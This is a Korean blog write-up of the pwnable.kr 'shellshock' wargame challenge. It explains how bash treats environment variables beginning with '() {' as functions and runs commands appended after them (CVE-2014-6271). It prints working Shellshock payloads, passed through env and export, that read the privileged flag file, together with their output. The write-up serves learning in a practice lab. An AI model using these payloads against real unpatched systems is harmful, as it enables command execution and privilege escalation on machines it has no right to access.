setresuid유저에 대한 정보를 셋팅 ,setresgid그룹에 대한 정보를 셋팅
하는데 getegid는 현제 프로세스의 유효 그룹아이디를 가져와 인자로 사용한다.
ls -al 명령어 출력을 보면 flag 파일과 shellshock 파일의 gid가 shellshock_pwn으로 설정 되어있 다.
shellshock프로그램을 이용해서 권한을 높혀 flag를 출력하는 문제 같은데 문제 이름이 shellshock다.
위와 같이 환경변수에 변수를 추가 할 수 있다.
마찬가지로 함수를 추가 할 수 도 있는데
형식은 아래와 같다.
그렇지만 변수에 ' '를이용해서 함수의 형식대로 변수를 만들면(속임수)
아래와 같이 환경변수에 추가가 된다.
그후에 서브쉘을 띄우면 이전에 시작하는 과정에서 환경 변수를 읽어오는데
bash는 () { 로 시작하는 변수를 함수라고 판단하게 된다. 읽어오는 과정에서 함수뒤에 있는 명령어를 만나면 실행되어 버린다.
아래 사진은 함수를 환경변수에 추가한 모습
이처럼 변수를 함수처럼 속일 수 있는데 함수처럼 생긴 변수 뒤에 ;와 명령어들을 추가하게 되면 그 명령어들까지
실행되는 취약점이 있다.
우선 아래와 같이 export와 env 명령어의 차이점부터 파악을 해보자
<차이점>
shellshock@ubuntu:~$ env x='() { :; }; echo asd'
shellshock@ubuntu:~$ ./bash
위와 같이 서브쉘을 실행해도 아무것도 출력되지 않는다. env는 일회용이기 때문이다.
이점을 이용하면 아래와 같은 두 가지의 답이 나온다.
shellshock@ubuntu:~$ export x='() { :; }; /home/shellshock/bash -c "cat flag";'
shellshock@ubuntu:~$ env x='() { :; }; /bin/cat flag' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault
환경변수 삭제 명령어는 unset [변수]이다.
'System Hacking > pwable.kr' 카테고리의 다른 글
13.pwnable lotto (0) | 2018.02.23 |
---|---|
11.pwnable coin1 (0) | 2018.02.23 |
07.pwnable input (0) | 2018.02.19 |
09.Pwnable mistake (0) | 2018.02.16 |
12.Pwnable blackjack (0) | 2018.02.16 |